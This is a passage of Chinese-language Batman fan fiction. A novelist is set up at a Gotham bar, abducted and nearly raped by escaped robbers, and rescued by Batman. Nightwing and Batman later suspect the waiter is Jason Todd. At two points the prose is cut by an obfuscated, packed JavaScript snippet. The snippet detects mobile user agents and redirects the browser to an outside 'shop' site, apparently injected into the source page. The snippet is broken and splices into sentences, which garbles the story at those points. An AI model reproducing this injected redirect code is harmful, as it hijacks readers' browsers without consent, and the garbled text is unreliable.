先认同对方,再用另一个观点勾动对方反驳的欲望。人与人之间的交流多数并不会展现尊重,而是试图将自身的经历和看法灌输进他人脑内。 “如果你要一个比我们的社会更裸露的环境,挣扎的弱者最终必然被它的引力所吞噬,”青年说着,面上竟流露出一丝怜悯,紧接着又变化成唇角讥讽的微笑,我想那并非冲我而来的,“小姐你似乎热衷于悲剧。” “……这称得上是指控了,先生。” 我装作妥协的模样,轻轻耸肩,而后把我最想知道的问题顺势抛出:“如果是您,您会喜欢什么样的主人公呢?” 意料之中,侍者没有第一时间答话。 他的眼睛很特别,眼尾锋利,睫毛短促却浓密,虹膜没有被下眼睑包裹,因此在平视时容易给人不好惹的印象。 现在那双似蓝藏绿的眼珠目视虚空,我顺着他的视线望去,能看见两个勾肩搭背的男人往厕所走——不过青年的突然开口拉回了我的注意力: “一个变革者,既然都让人类成为主角了,那就发挥一下万灵之长的刻板印象,让社会为他而改变。” 真大胆。 起码就我自己来说,我讨厌物种歧视,很多时候人类和蟑螂都让我觉得害怕。 但青年的说法更多聚焦在改变上,“抛弃软弱,过度考虑他人的想法本身也是一种伪善;他能比最凶猛的动物更具智慧,又比最狡猾的动物拳头更硬,他会镇压野性,给予这个社会新的秩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182188|150647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 序。” 言罢,他的目光聚焦在我脸上,像是准备好随时面对我的反对意见。 要说点什么激怒对方吗? 还是不了,我也差不多弄明白了他的想法,眼下有更重要的事需要我完成。 “这种展开其实也不错……”眼睛一转,我微微点头,左手示意他稍等,并把他的想法简单记在速写本上。等我再次抬头,对方古怪的神色令我不禁一笑,“您看起来很意外于我会这么做,我也说了,您的反馈对我来说很重要。” 侍者张了张口,慢慢地,那股盘踞在他眉眼上的戾气消退了些许:“……我没有指导专业人士写作的意思。” “您太夸张了,我这样的顶多是无名小卒。” 为了防止自己一沉浸在工作里便忘了时间,我还设定了闹钟。此刻手机恰巧震动起来,我收拾了一下东西,准备和青年道别,“不好意思,我的朋友到现在还没回来,我得去看一下她是不是掉进马桶里被冲走了。” 低着头拿钱包的我看不见他的脸,因此只能听见侍者在略微停顿后开口:“……如果是醉酒,我可以帮忙把她扶出来。” 微妙的说法,更像是种客套——酒吧的卫生间里除了醉鬼和瘾君子还能有什么呢? 以是我将小费和酒钱一起放在桌上:“不用了,先生,您还有工作呢。” 礼貌地颔首道别,我背着两个小挎包往卫生间走。自始至终,我对那个仿若戴了半边人皮面具的青年都有点犯怵,这种直觉令我更加好奇,因此才会和一个陌生人聊这么久。 普通男性会借着聊文学的由头搭讪,不过他既没有表现得轻浮,也没有在最后要我的电话,可从他意有所指的话里,我也不能确定对方是不是单纯地想抒发一下自己的表达欲。 奇怪的人。 穿过一条狭窄的走廊,我找到了女厕所的标志。清洁员明显偷了懒,鼻子里很快飘进一股屎尿和呕吐物挥发后的气味,我急忙捂住口鼻,心中顿觉欲哭无泪。 我退后回到走廊上,拿出手机拨通编辑的电话。 在我不情愿的预料中,电话没有接通,倒是在等待期间,我不小心与男厕所出来的客人撞了一下肩膀,对方也没有道歉,有点大惊小怪地说走廊里怎么还站着个人。 没空理会话里带脏字的陌生异性,我挂断电话,抬步准备进女厕一个个包间门地查看,蓦然一股力道从身后扯住了我的肩膀。 “仔细看看你有点眼熟啊,小妞!” 几乎是转头面向对方的瞬间,刺骨寒意从后脑勺钉进我的大脑。 我已经认出了面前的男人是谁。 想都没想,我举起包就是一砸,趁着他吃痛叫唤时撒腿就跑——通往前厅的路被他堵上,我只能冒险往后走,厕所旁边还有条走廊是员工通道,那里大概率能通向后门。 一边狂奔,我一边给紧急联系人分享定位。哥谭的法律实在是离谱,才一个月不到我竟然就在外面碰到了两个运钞车抢劫犯的其中之一! 身后的脚步紧追不舍,我头皮发麻,心脏快要跳出嗓子眼。所幸通道里紧急出口的标志相当显眼,估摸着我大概能在被抓住前跑出去。 “&%¥@的婊子!就是你那个有钱姘头害得我们差点出不来,有种你别跑!” 随着我的喘息越来越重,后门也近在咫尺,眼前似乎是才从外面倒完垃圾回来的酒吧店员一脸惊异,我勉强换了口气:“别关门!后面有人——” 店员的眼神往后移了一下。 看清追来的人是谁,她没有犹豫,直接插紧了门闩。 我被迫停了下来,在两人围上来之际扶着墙,让自己的后背紧紧贴在上面,手指则探入包中。 情急之下,我摸到的并不是自己的包,但以编辑的个性应该也会随身携带电击器才对……然而越是摸索,我的心越凉。 里面几乎没有东西,只有一截口红。 “动作利索点,绑到小厨房去。我去叫老强森回来。” 抢劫犯兴奋到狰狞的面容离我越来越近,现在我百分百可以肯定,今天的约会是一场局。 从莫名消失的编辑到主动闲聊的侍者,他们是不是都是为了拖延时间一直到抢劫犯入场?毕竟在我观察酒吧挑速写对象的时候,压根没看见这张特意记住的面孔。 “你们想要什么,钱还是权?”再去拿自己包里的电击器压根来不及,我主动举起双手,“我跟你走就是了,请不要伤害我。” 纵然没指望临场示弱能换来什么好,但是当男人的巴掌真正落在脸上时,我还是在内心叹了口气。 孱弱的身体自然挨不住成年异性的用力一击,耳畔嗡嗡作响,我没能跌坐到地上长发便被扯住了,头皮又是一阵撕裂痛。 本能促使我抓住男人的手腕,努力从晕眩中缓过神来。 包被抢走了,但还不是放弃的时候。保持清醒,保持思考,定位已经发出去了,布鲁斯肯定会报警,我必须想办法争取更多时间。 也是这个时候,我意识到自己又犯了一个错误。 刚刚就该直接拨通911才对。 &%¥@……我这个该死的恋爱脑! 6. 06 反正也不是第一次了。 意识到自己的衣服正被人粗暴地撕开时,我的心情意外得很平静。 刚被绑到小厨房的五分钟,我还存着等待救援的心思,哪想那三人里的女性格外机警,我又不想被打到休克,只得说出自己已经发了定位让别人报了警。 抢劫犯的其中之一当场就踢中了我的腹部,还是另一个人及时制止我才没继续挨揍。这三个亡命之徒一合计便决定带着我转移,女的骑摩托去准备逃往海外的船票,剩下两个则商量着把我绑去某个藏身地,再敲男友一笔大的。 极速飞驰的旧面包车非常颠簸,我不太理解为什么男的在这种情况下都能小头控制大头,但是很快,劫匪一号(也就是先前抓我的那一个)打开了他手机的录制功能,我立刻就明白自己将面对什么报复。 他要拍下凌辱我的视频发给布鲁斯。 一股莫名的邪火猛得点燃内脏,我慢慢深呼吸,努力不让自己被愤怒冲昏头脑。劫匪还在解我穿在裙子下的长裤,似是把我的沉默当成了认命,他的语言愈发放肆,其中当然夹杂着对男友的侮辱。 而我在庆幸自己留了长发。 黑发一遮,没人能看清我的眼神——前面的劫匪二号虽然会回头,但大部分注意力还是放在路况上。哥谭的老城区北部有一圈上世纪经济萧条时遗留的废弃工厂,他们的目的地多半就是那里。 以目前的时速判断,我还有最多十五分钟,必须在这之间找到机会跳车。 “这什么破腰带,解都解不开!” 恼羞成怒的一号从口袋里掏出小刀,连着我的内裤都划开一道口子,而后举着相机单手去解自己的裤子。 我的双手被绑在身后,腿部则被男人压制,怎么看都是逃不过要被狗咬一口了,最好的做法反而是等他在兴头上时放松警惕…… 不行。 待男人胯/下二两肉真的暴露在视野里,我还是反射性地干呕了一声,脑海里的回忆汹涌而出,我即刻就放弃了一切蛰伏的打算。 着急的绑匪就把小刀随手插在椅背上,距离我只差几拳头,我立即挣扎起来,在男人骂骂咧咧的又一巴掌里把小刀碰落,反手抓着就去割手腕上的尼龙扣带。 这点小动作当然被发现了,随着手腕一松,我的脑门上也被黑漆漆的枪口顶住,有那么两秒,我似乎真的看见了死神在向自己招手。 但比它的镰刀更快,一声巨响砸在车顶。 两个劫匪仿佛一下子意识到什么可怕的事将要发生,原本指着我的枪口此刻朝上而去。 这就是我等待的完美机会。 小刀在半空划出森然的冷光,我本是冲着绑匪的心脏捅的,结果头顶忽然裂开一道缝隙,我眼睁睁看着刀尖和男人的胸膛擦身而过,最后在他被往上提的时候刺中了脐下三寸的位置。 凄厉的惨叫和绑匪二号的大吼同时响起: “蝙蝠侠!” 司机慌不择路,面包车被他开得左摇右摆,我没抓住车门上的扶手,被颠得往另一侧撞去,只能尽可能蜷缩身体避免伤势加重。 预想的疼痛始终没有到来。 后背的衣服被铁钳似的力度抓紧,我感到了短暂的失重,随后模糊的视野中央出现了一个有些眼熟的标志。 又是蝙蝠。 义警搂得极稳,数秒的风声后,不远处传来刺耳的刹车和“砰”的撞击声,我恍然间发现自己不知何时被抱出了车外。 “好姑娘,没事了。” 他的声音离得太近,裹挟着炙热的呼吸和微不可查的颤抖,好似真的为我的遭遇感同身受。 开什么玩笑。 陌生异性的体温透过布料黏在身上,我的脸皮不自觉地抽搐了一下,自己都不明白哪来的力气从义警的臂弯里挣脱,跪在地上的第一时间便呕出一口酸水。 我远比一个月前要清醒,可能是经过那一遭连忍耐疼痛的阈值都有所增长,也正是因为清醒,我摆脱不了随之而来的、铺天盖地的恶心感。 胃是情绪器官,多数时间它都能先于我本人察觉到不适并反馈出来。我吐得上气不接下气,呼吸困难,好似连肺带胃和肠子都要一起呕出来。 余光里的漆黑战术靴踟躇般转了转向,最终也只是把一个军用水壶放在我身侧,他很小心地没有再接近我: “里面的水是干净的,等我一会。” 隐约间,我似乎能嗅到对方压抑的怒火,紧随其后,不远处响起了沉闷的脆响。伴着男性一声比一声更加衰弱的哀嚎,皮肉被锤烂,骨头被打断,我面无表情地听着,既不觉得痛快,也不觉得残忍。 身体里已经吐不出东西了,手指摸上水壶,我一点点把它拧开,漱走嘴里的铁锈味。 剩下的水可以把手和脸都洗干净,得亏今天没画太浓的妆,不然没有卸妆水就只能顶着张花猫脸和别人说话了。 做完这一切,我才慢慢从地上爬起来。 夜风萧瑟,路灯昏黄,身旁停着那辆有过一面之缘的蝙蝠车。路上行人都懂得明哲保身,此刻街上景致一览无余,颓败的民房旁,黑漆漆的义警不知疲倦,而他的对手早没了人形,唯有痉挛的手指还证明对方尚且留有一口气。 他很安静,背后却像是长了眼睛。当撞上电线杆的面包车里爬出剩下的匪徒,义警头也不回射出钩锁枪——从声音判断,那人的鼻骨连着牙齿一齐被打断,瘫在地上昏死过去。 乍一看,这更像个杀人现场。 我走到他身边,蝙蝠标志正随着他剧烈起伏的胸膛展翅欲飞。在我的注视中,它又缓缓趴了回去,义警稍稍一动,有意用身体挡住地上那个被揍得妈妈都不认识的猪头。 鲜血顺着他的手套滴滴答答,在地上汇集成小小的血洼。 “你给他们打急救电话了吗?”我没什么情绪地发问,胃液倒流过喉咙,令我的声音听起来粗糙得像砂纸磨过,“我想知道为什么他们一个月不到就能从监狱里出来。” “……我带你去医院。” 答非所问,还是祈使句,蝙蝠侠解下披风想要盖在我身上,被我抬手拒绝。 衣服半掉不掉,浑身隐隐作痛,我没了维持社交面具的好脾气:“我不是你的跟班,要么按我说的做,不然你就从这里滚开。” 我没有再等他开口,抬腿走向面包车,顺便踩了地上的司机好几脚。这么大的骚动肯定会有路人报警,我必须抢在人来之前把那个视频删掉。 后坐门产生了一定形变,我扯了好几次也没能打开它,内心郁气更甚。 干脆找个东西砸碎窗户爬进去。 不待我实现自己的想法,身后有一只血淋淋的手套伸了过来,略一用劲,对方把车门整个扯开,留下一人宽的缝隙。 我默默和身后的尖耳朵对视一眼。 看不出来是不是在面具底下嘲笑我。 在心中默念三遍不要迁怒,我终于挤出一声谢,钻进车厢翻找起劫匪落下的手机。 后座上有我割坏的裤子,有血,还有一些陈年污垢,我简直不敢相信自己在这么脏的地方待了那么久,打了一个寒颤,又想吐,万幸今晚进肚子里的一共也就那点饮料,忍忍也就过去了。 手机落在前后座之间的夹层里,我把东西掏出来便迫不及待地离开车厢。期间,黑漆漆的大个子就站在车门那等我,披风也没穿回去,就攥在手里。 “我想警察很快就会到,”手机还停留在拍摄界面,按键却不甚灵敏,我似乎能想象得出原主人使用它时留下的手汗,口吻愈发烦躁,“你留在这是为了和他们打招呼吗?” 不知是不是我按得太频繁,手机在短暂的卡顿后忽地播放起先前的视频,男人污言秽语传出来的下一秒,蝙蝠侠劈手夺过了它,一把捏得粉碎。 我惊讶得都没计较他把几滴脏血甩到我手背上:“……我本来准备用它给我男朋友打电话的。” 他的气息不稳,面具下的眼睛紧紧盯着我,似是想知道我为什么还能保持波澜不惊的表情。唯一裸露在外的下半张脸肌肉浮动,牙关咬得极紧,就在我以为他会将这份怒火发泄过来时,义警却好像忽然被泼了盆冷水,有那张面具在,任何人都没法通过表情判断他此刻在想些什么,我努力了一下,但除了发现蝙蝠男嘴唇形状很好亲外一无所获。 他微微吸了口气:“是韦恩通知我来的。” 意想之中,又在预料之外。 男友的交友一向广泛,从第一次见面开始,他就对蝙蝠侠这一在普通哥谭人眼中虚无缥缈的形象投注了相当的信任,证明他们之间应该有所联系。 方才义警的及时出现更是证明了这一点,我的手机和包都不在身上,整个哥谭或许也只有他能在这么短时间内锁定我的位置。 “……他现在一定担心死了,你可以给他发个消息报平安吗?” 义警不怎么习惯我温柔下来的声线,顿了顿才道,“已经发过了,我还通知了医院的急救中心,”这是在回答我的第一个问题,“如果你不想去医院,我会把你送去信得过的私人诊所,韦恩也会往那里赶。” “他信你,我也信你。”我的话让他微微抿了抿唇,不过我现在也不在乎他会不会像编辑那样把我卖了。 要是连布鲁斯都不值得相信,这个世界上我也找不到其他任何能交心的人了。 “我坐副驾,路上还有事要问你。” 丢下最后半句话,我往蝙蝠车那边走,顺势拿过水壶又冲了冲自己的手,然后把最后小半杯丢给后面的蝙蝠男,他接得很顺滑。 觉察到我的意图,他也没多说什么,把手套上残留的血迹冲干净。 这下看着顺眼多了。我也不吝啬,朝他微微一笑。 . 蝙蝠车比我坐过的所有高级轿车都要隔音,窗外的风景极速倒退。我整理着语言,把今天的遭遇告诉蝙蝠司机,末了忍不住抱怨道: “……我不明白自己有什么地方值得别人特意算计。” 他探身从后座拿来医药箱,任由方向盘自动转向,带我们拐过街角:“你有全哥谭最有钱的男朋友。” 我不确定这句是不是调侃,义警的语气毫无起伏,从医药箱里拿出冰袋递给我。被扇过的脸肯定是肿了,我一直试图用长发遮掩两颊,现在能获得消肿利器,当即便贴了上去。 然后被冰得一声嘶鸣:“嗷……你不明白,今晚我和编辑原本约定的酒吧不是这一家,按照预定计划我根本不会碰上那两个抢劫犯。她和那个侍者肯定是提前串通好的。” 更难以置信的是我就这么上当了——我一直知道自己专注于工作的时候容易忽略周遭的情况,就像今天我急着想和编辑分享自己的新灵感,甚至连为什么临时换了地方都没问。 为什么不多关注一下对方的状况?为什么一心沉浸在新故事里?为什么……我越想越气,恨不得给自己两巴掌,相比起怪罪他人,我更无法忍受自己的失误。 冰袋被我捏得咔咔响。 这股怒气太过明显,身旁人沉默片刻,仿佛能看透我的内心:“事情会发展成这样不是你的问题。我已经通知警察前去搜索其他人的下落,很快就会有结果的。” 我闭了闭眼,义警的冷静很大程度上减缓了我的焦躁,如果可以,我其实很想问问他控制情绪的秘诀。 “我的编辑应该是最好找到的。她的生活模式比较单调,理论上工作日的晚上她应该在家带女儿才对……”随着分析,我猛地意识到什么,“难怪了,她的性格怎么说都不会参与到绑架案里来,除非——” 另一个声音几乎和我异口同声:“她的女儿出了事。” 互相对视的瞬间,我和蝙蝠侠似乎都感受到了这股莫名其妙的默契。气氛变得有些古怪,最后他率先别过脑袋,一手按在车前的屏幕上,“蝙蝠车呼叫神谕,去调一下罗拉·道尔女儿的档案,查查她最近的出勤记录。” “……这已经算是侵犯个人隐私了吧。” 嘴上这么说,我心里倒是觉得方便又快捷。 义警闻言瞥了我一眼,丝毫没有干了坏事的心虚:“那个侍者呢,他主动搭讪是为了拖延时间,你应该能记住他的长相和特征。” 说到这个,我有更好的主意:“正好,你给我打一下手电筒,我画下来给你看。” 嘴上不停,手里也没闲着,我把随身携带的速写本拿出来——这东西原本就放在我的裤子口袋,现在没地方装,我只好把它塞进胸衣里,“那还是个帅哥呢,帅得很有特色,和我男朋友不是一个类型。” 我做好了动笔的准备,光照却迟迟不来。蝙蝠车驶进隧道,昏暗更甚,驾驶座上的义警更像一座漆黑的雕像了。 “怎么了?”难不成是在抗议我三番两次朝他发号施令?没那么小气吧。 手电筒的光蓦然亮起,他还是那副臭脸:“不。” “哦,那你拿稳点。”我顺手把敷过的冰袋放到他另一只手上,回想着侍者的长相,一边打十字线。 虽然一开始下笔还有些迟疑,但很快我就进入了状态。确定三庭五眼的位置时,神谕带着我们要的情报回拨了通讯——不出意料,罗拉编辑的前夫几天前忽然带走了他们刚放学的女儿,对方有入狱背景,顺着这条线或许能查到是谁指使他这么做的。 蝙蝠侠把这件事交给了他手下的另一个门徒夜翼,说是把我送到莱斯利诊所后就和他汇合。 也不知道男友是怎么和义警认识的,对我负责到底的这份坚持很难动摇。 后面他又开始和其他人通讯,没有走公放的蝙蝠车频道,我也对此没什么兴趣,只要我的人肉台灯别晃就行。 速写完成得也很快,我吹掉纸上的橡皮屑,欣赏了一下自己的杰作。铅笔绘制的青年眼神锋锐无比,我强调了一下他左脸的僵硬,因此比起真人,画作更添两分诡谲。 “他应该化过妆,说话的时候右脸的肌肉幅度比左脸明显很多,我一直在猜他是不是受过伤或者整容失败。”如若当初我拿观察他的劲头去注意编辑的神色,估计早就能发现不对劲——马后炮没有任何意义,我甩掉脑内的后悔,把纸张交到蝙蝠侠手里。 他不需要手电,看得很认真,我不确定他从画像上看出了什么,因为接下来的几十秒里,义警始终一言不发,手指却将速写纸越攥越紧。 相较先前他因为匪徒反人性的暴行而外露的愤怒,此时此刻,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陡然增大的压力把我按在了椅背上,速度之快对我这具长期亚健康的身体并不友好,不过我也没说什么,左右都是忍一会儿的功夫。 “抱歉,”有些意外的是蝙蝠侠的体贴,他又从哪掏出来一袋葡萄糖递给我,“诊所很快就能到了。” 我把袋子捏在手里没喝:“方才我没细说我和侍者的谈话,现在看来,这或许能帮助你确定他的目的。” 义警微微侧过头:“你们说了什么?” “他对我新写的漫画剧本很感兴趣,那是一本定位为反应社会将如何扭曲个体意志和情感的讽刺漫画,”我归纳总结,回想着当时青年的一言一行,“这个人有相当的文学基础,交流时容易带入他的主观情绪。他对我的主人公有一定的共情,把他看作一个和环境抗争的人物,这点大概率会与他对自己的定位有关。” “他鄙夷软弱地随波逐流,向往成为社会的变革者,为了达成自己的目的,这个人并不介意使用一些过激的手段。但神奇的是,他其实明白自己的想法很容易遭到我的反驳,因此整个谈话间他都做足了攻击的姿态,在我反过来接纳他的想法后,他有那么几秒应该犹豫过。” 有数秒没能等到我补充完最后的余白,义警开口接话:“是什么你不能确定的推测?” “……临走前,他对我说了句废话,说如果同伴喝得太醉可以喊他帮忙,这与他本来的目的背道而驰……”我谨慎地放缓自己的语速,“我不好打包票,蝙蝠侠,但我觉得那时的我要是应下了,他或许会阻止他自己的计划发生。” “你在说他对你怀有怜悯之心。” “又或许他只是想确保我会被绑走,”没有全然否定对方的说法,我重新换了口气,冲驾驶位挑眉,“所以,我的总结有唤醒你什么记忆吗?” 然而义警有意不愿意给我明确的答复,避重就轻道:“你的心理学很出色,不过韦恩说你大学主修的是小语种。” 不是,这家伙怎么什么都和蝙蝠男说啊! 无论蝙蝠侠是不是想引导我岔开话题,我都必须承认这简直太有效了:“怎么,你是觉得没有专业证书放旁边我的话就没有一点说服力?我男朋友看人比我更准,他还没上过大学呢!” “他后来有补修过学位。”似是和我叫板,义警丢下这么一句话。 我一声冷笑:“我懂了,你这身上穿的手上开的都是他花钱资助的是不是?这就维护上了,你们到底什么关系?!” 掷地有声的质问换来了蝙蝠车刺耳的刹车声。 窗外有暖黄色的灯光照进来,意识到我打定主意要他给我个说法,否则绝对不会下车,蝙蝠侠发出了一声古怪的叹息。 “就像你说的,资助人和被资助人的关系。” “少用我的猜测回答我的问题,这招对我没用,”义警数次的回避让我觉得自己正被他当猴耍,不禁曲膝顶住座椅,一手撑住驾驶座的靠背,一手抓住方向盘,确保对方被我逼得没地方能躲,“他以前开始晚上就会失联,你一定知道他都在干什么。” 面对如此气势汹汹的我,蝙蝠侠不愧是蝙蝠侠,愣是连动都没动:“……你为什么不直接问他本人?” “情侣之间也需要隐私啊,而且我自己工作起来也会不回消息,这样我根本没法理直气壮地打破砂锅问到底,绝对会被他想办法糊弄过去!” 可能是第一次见到如此不讲理的人,那张尖耳朵面具终于转了过来,我们隔着那两扇白色的护目镜对视良久,久到连蝙蝠侠都口干舌燥般抿住唇。 他忽地把头扭回去:“你可以认为他是我的…同事,我们在一些方面打成了共识,合作了较长时间。” 我不认为他在骗我,因此也松开手,坐回原位。 “无论怎么说,他都不是像你这样的超级英雄……你会好好照看他的吧?别让他去做太危险的事,这家伙说到底就是个富家少爷,也就脑子灵活些,肌肉都是健身房产物噢!” 义警又不说话,这衬得我的担忧有些变味——有种操心妈妈拜托同学多照顾自家孩子的拖沓感,我忍不住催他,“诶,你倒是给点反应啊。” 他这次干脆打开了车顶盖:“你的恋人瞒着你做这些,你不会介意吗?” 这算什么,压根就没有好好答应我。 有和他扯皮的功夫,还不如去布鲁斯那旁敲侧击呢。我如他所愿,站起身准备下车:“不要随意挑拨我们的关系,布鲁斯是这个世界上心地最善良的人,又生活在这个英雄主义横行的国家。如果有能力去帮助他人,那么他一定就会去做。” 就像他当初隔着无边的海洋,努力想要拉一把我那样。 望着车旁年代稍久的民居,招牌上的诊所一词证实了那就是我的目的地。 我绕过蝙蝠车来到驾驶位旁,义警没有关车顶盖,视线也依然落在我身上,我想了想,发现自己也没有回答他的问题。 不像某人那么吝啬,我选择了分享自己的看法: “我不会介意的,蝙蝠侠,有时候布鲁斯不说并不代表他觉得我没有资格知道这件事,而是他会担心他没法保护好我。” 男友的顾虑,男友的想法,我一定要比任何人了解才行。 我不允许有人比我更懂他。 “我们的羁绊可是很深的,明白了吗?” 微妙的沉默里,我怀疑蝙蝠司机根本没有认真听我说话。 他仅是看着我,那张永远严肃正经的面具随着他上扬的嘴角渐渐软化,组成了一个大概是微笑的表情。 ……这绝对是今晚我经历过的、最令人毛骨悚然的事! 7.07 “我能说我没想过要听你们讲悄悄话吗?” 莱斯利诊所旁边的房顶,理查德·格雷森AKA夜翼环着胸,用轻松而略显调侃的语气向身旁人搭话。 他们的蝙蝠老大此时重新戴好了面具,把临时从蝙蝠车里找出来的西装随意塞回袋子里。他方才花了五分钟用白天的身份和女友见了面,此刻的神色还残留着些许松快。 见他又摆出那张冷脸,夜翼勾起促狭的笑容,“布鲁斯是世界上心地最善良的人……老天,我真怀疑你以前不仅拐带未成年还诈骗。” 这下蝙蝠侠愿意施舍给他一个眼神了:“既然找到了道尔前夫的下落,你应该先去那等我。” “谁叫我们刚好顺路呢,搭档,我的摩托可没有你的爱车快。”丝毫没有被男人的发号施令吓到,夜翼一边说着,一边跟着养父从天台荡下,恰好跳进在下方等待的蝙蝠车里。 又是一阵引擎的咆哮,他们重新上路。 义警的工作大部分都是紧促且令人目不暇接的,在车上他们又接到了红罗宾的通讯。已然成年的大男孩近两年处事愈发沉稳,他汇报了韦恩塔遭窃后的损失情况,没有丢失任何设备,但是总裁办公室的电脑有被人动过的痕迹,看时间正是蝙蝠侠忙着去救被绑女友的时候。 “绑架案的目的看样子就是为了引开你,”红罗宾得出结论,“对手很了解我们的巡逻布防,但在我怀疑名单上的人大部分都有不在场证明。” “有想到谁吗,蝙蝠?” 注意到搭档拧紧了眉,夜翼敏锐地抓住了他转瞬即逝的情绪。 年长的义警没有看他:“有猜测,需要证实。红罗宾联系神谕,把我们的频道再检查一遍,恐怕对方会试图通过韦恩集团的系统入侵到蝙蝠电脑里。” “收到,红罗宾下线。” 车里又只剩最早的“活力双雄”二人组,年轻的那个正了正神色,锲而不舍地追问:“通常来说你的证实只会给事实锦上添花,布鲁斯,你到底发现了什么?和那姑娘今天的遭遇有关吗?” 蝙蝠侠沉吟片刻,最终还是从腰带里拿出整齐叠放的画像,夜翼从接过到展开还没到一秒,一声惊呼已冒出喉咙: “……杰森?!” 没人会怀疑画家的功底,她本就擅长观察,黑发的青年活灵活现地待在纸上,静静冲观者冷笑。等他冷静下来仔细再看,上面的人又与他记忆里的截然不同,更成熟,更冷硬,眼神中带着一丝不自觉的凶狠。 “这怎么可能……我们亲眼看着他下葬,小丑把他闷在阿卡姆的地下折磨了四个月,他的脸上还有——” 夜翼的多米诺眼罩猛然瞪大,“对了,他的疤呢?” “她说对方的左右脸有一定差别,大概率是假面皮或者化妆。”蝙蝠侠操纵车辆漂移过弯,语气中的冷静令人压根看不出他对第二位养子的“死而复生”作何感想。 “我们需不需要……”纵使十分不情愿,夜翼还是说了出来,“把杰森的棺木重新抬出来?” “不要自乱阵脚,迪克,这会是我们的敌人最想看到的。” 青年没忍住再度看向养父,没从他脸上得到自己想要的情绪,夜翼叹了口气:“你说得对——假扮、克隆,又或是魔法把戏,目前没有证据支撑他就是杰森本人。” “这也是为什么我们不能放过任何一条线索。” 义警们很快便再度投身于工作中。花了些功夫,他们抓到了躲藏在地下室的道尔前夫,并把他倒挂在顶楼的栏杆上,每犹豫一秒便朝下松开一截绳索。 被他绑走的小姑娘并没受到什么伤害,夜翼陪着她在房间里等警察,顺便挡住窗外哇哇大叫的她爸。蝙蝠侠得到了他想要的,可有用的线索依然不多:对方声称在一周前接到了一串未知号码,要他带女儿躲起来并不接前妻的电话,事成之后则会打给他一大笔美金。 有钱不赚王八蛋,更何况他和女儿都不会受到什么伤害,这么看,那个未知号码甚至显出两分仁慈来。 两人把一大一小都交给警察,随即又去调查汇款账户和号码归属地,期间他们还解决了两起持枪抢劫和一起故意伤害案,类似的犯罪在哥谭似乎永远也除不干净。 可惜,追查到最后两个线索都指向海外的匿名用户,倒是接到警方电话的罗拉·道尔本人前往警局自首,等待进一步审问。 到这个时候,哥谭已经陷入了完全的安眠。无论是蝙蝠侠还是夜翼都没去打扰拘留室里休息的罗拉,他们重拾前几天正在调查的案子,在下水道里又待到了晨曦乍现,才丈量完一个由废弃地铁站改造而来的地下制造厂。 此处附近的居民前几日刚刚经历过一次小型地震,还有人在半夜会听见隐约的巨响,造成了范围性的恐慌。从搜查结果来看,应该是有人先前借用了地下制造了什么杀伤力很大的武器,但义警们又迟来一步,只能把一些残骸带回去化验。 奔波了一晚上,即使是“活力双雄”也会感到疲倦。夜翼整个人都瘫进了副驾驶,随手拿了自己的卡里棍挡住日出的光线:“等待化验结果的时候我要在床上好好睡一觉。” 自动驾驶的蝙蝠车此刻开得并不快,它的主人正在主驾驶位脱掉制服,随后又抓起丢在后座的西装穿上。 这窸窸窣窣的动静惹来夜翼一瞥,他顿时双手捂脸,“……别告诉我你还要回莱斯利诊所。” 养父没答话,青年已经相当习惯在车里演独角戏。 “要不是见过你二十几岁的时候是怎么和瑟琳娜约会的,我真的会怀疑你的小女友又是什么能迷惑人心的女巫。” “她只是个普通人,迪克,”露出面容的男人甩了甩头发,一手把领带揣进口袋,略微的犹豫后,他还是继续道,“……我今天找到她的时候,其中一个绑匪的生殖器已经被她切下来了。” 这意味着什么不言而喻。听罢青年也直起了身,脸上不再有任何轻佻神色:“老天,你之前没说……” “我们刚认识的时候,我就发现她的情绪感知能力有点问题,这么多年来一直都没有好转的迹象,”似乎是第一次在孩子面前提及这些,布鲁斯有些不适应地目视前方,“我不知道她过多久才会感觉到害怕,但是她会需要我的陪伴。” “你是对的,布鲁斯……真难想象她这一路还和你复盘了一遍案情细节,你确定这不是解离症状吗?” 韦恩家的大儿子一直都是最富有同理心的那一个,迪克的担忧发自真心,或许正是这点令他的养父决定多说些什么。 “我没和你们任何人提过我们是怎么亲近起来的……那段时间对于我和她来说都很艰难。” 觉察到布鲁斯的言下之意,青年立即明白过来:“是小丑第一次带走杰森的那四个月,对吗?” 仿佛再度被梦魇所困,男人目光幽深,跟随着记忆回到了几年前最灰暗的苦夏。 刚刚失去自己的罗宾时,他拒绝了任何人的靠近,一心扑进哥谭的黑夜里。他在夜晚和数不清的敌人生死决斗,蝙蝠侠会留下对方的性命,可他的对手却全都想治他于死地。他感到疲倦和痛苦每时每刻都在折磨胸腔里跳动的心脏,最糟糕的是,他没能找到杰森的尸体,也没能找到小丑。 很多次,他都认为自己会真正对阻碍他调查的人痛下杀手,小丑布置了太多障眼法,全哥谭的罪犯都在此时想尽办法找他的麻烦。蝙蝠侠在某个暴雨雷鸣的夜晚枯坐许久,车厢太过安静,雨幕将他隔绝在世界之外,也就是这时,他又收到了一条新的私信。 以往会被忽略的信息这一次却被点开了,发来的女孩用礼貌的口吻向他征询一些书面的语法问题。彼时她正在把自己写的小说翻译成英文发送到国外几个悬疑类论坛上——想要更多人聆听她的声音,这是女孩朴素的愿望,因为平日里她的文字无人问津。 蝙蝠侠本给自己定了半小时的小憩,用来代替他所需要的睡眠时 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她不可能明白他在面对什么,不过女孩天生的敏锐还是令她捕捉到了端倪。为了迁就她磕磕巴巴的发音,多数时候他们都用女孩的母语进行交流,但那天她的一连串英语流利得过分,一听就知道提前排练过很多遍。 于是在毒素和情绪的双重作用下,本该坚不可摧的义警提出了他的诉求。 “……即使你这么说,我也做不到一下子变成单口相声演员,”一遇到难题,她又操起那口吴侬软语,“这样,我给你讲我新写的故事吧。” 那明显是现编的。 